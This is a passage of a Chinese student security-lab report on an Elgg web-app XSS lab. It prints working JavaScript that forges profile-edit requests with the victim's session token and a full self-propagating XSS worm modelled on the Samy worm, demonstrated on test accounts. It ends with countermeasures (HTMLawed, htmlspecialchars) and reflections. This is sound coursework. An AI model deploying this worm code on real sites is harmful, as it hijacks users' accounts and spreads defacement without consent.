  var content=token+ts+"name="+userName+"&description=<p>This have been cracked by samy.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  

  var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	  
	var samyGuid=47;   //samy的编号是47
	if(elgg.session.user.guid!=samyGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}

</script>

首先获取了访问者的&__elgg_token=__elgg_ts&__name=elgg.session.user.name和页面的其余信息。接下来按照上文的分析构建了请求url,而后经过 XMLHttpRequest 对象构建请求,请求的方式为POST, 并设置请求头和其余信息,经过send函数发送请求。程序中的判断语句的做用是判断是不是 Samy 请求的,若是是则不做修改。
图片描述
保存后退出,使用 Boby 帐号登陆,首先查看 Boby 的主页,发现没有介绍
图片描述
访问 Samy 主页后再次查看,发现已经被黑了
图片描述

任务6:编写自传播XSS蠕虫

要成为真正的蠕虫,恶意JavaScript程序应该可以传播本身。也就是说,每当有人查看被感染的我的资料时,不只他们的我的资料会被修改,蠕虫还会传播到他们的我的资料中,进一步影响其余人查看这些新感染的我的资料。这样,查看受感染配置文件的人越多,蠕虫传播的速度就越快。这正是Samy蠕虫使用的相同机制:在2005年10月4日发布的短短20小时内,超过100万用户受到影响,使Samy成为有史以来传播速度最快的病毒之一。能够实现这一点的JavaScript代码称为自传播跨站点脚本蠕虫。在这个任务中,您须要实现这样一个蠕虫,它不只修改受害者的配置文件并将用户“Samy”做为朋友添加,并且还将蠕虫自己的副本添加到受害者的配置文件中,这样受害者就变成了攻击者。

指导书中介绍了两种方法,一种是连接的方法,另外一种是调用 DOM API 的方法。这里使用第二种方法。来看指导书提供的这一段代码范例

<script id=worm>
    var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; ➀
    var jsCode = document.getElementById("worm").innerHTML; ➁
    var tailTag = "</" + "script>"; ➂
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); ➃
    alert(headerTag + jsCode + tailTag);
</script>

这段代码的核心是经过innerHTML获取了worm的全部代码,而后补充完整它的格式,最后将它输出
结合上一个任务的代码咱们就能够编写出一个完整的,带有传播功能的蠕虫病毒

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by samy  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=47;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

一样将它放入 Samy 的 About me 中
图片描述
接下来使用 Boby 登陆,并访问 Samy 的主页,被感染
图片描述

图片描述
而后用 Alice 登陆,能够看到她的介绍栏什么都没有
图片描述
而后用 Alice 访问 Boby 的主页
图片描述
再次回到 Alice 的主页,发现已经被黑了,这说明 Boby 感染了蠕虫病毒而且进行了传播,该蠕虫病毒有效
图片描述

任务7:对策

Elgg自己已经提供对抗XSS攻击的插件,能够利用管理员帐户进行登陆,找到Account->administration->plugins,而且找到插件HTMLawed ,这个插件的主要做用是对用户的输入输出进行校验而且去除特定标签。还有一种方式是在代码中调用htmlspecialchars()方法,主要是对特殊字符进行编码,也能够防范XSS攻击问题。

3. 学习中遇到的问题及解决

  • 问题1:对 js 编程与 sql 语句不熟悉,作实验有点困难
  • 问题1解决方案:参考实验指导书,上网搜集资料以及参考其余同窗的博客最终勉强完成

4.学习感想和体会

经过这一周的学习初步了解了 Web 安全攻防中两种比较重要的攻击方式,而且进行了实验。可是因为本科没有学过 js 编程和 sql 语句致使研究代码花费了比较长的时间,之后还要多花时间补习基础知识。

参考资料

网络攻防技术与实践
DOM概述
SQL预处理语句
JS 基础教程
SQL 基础教程

相关文章
相关标签/搜索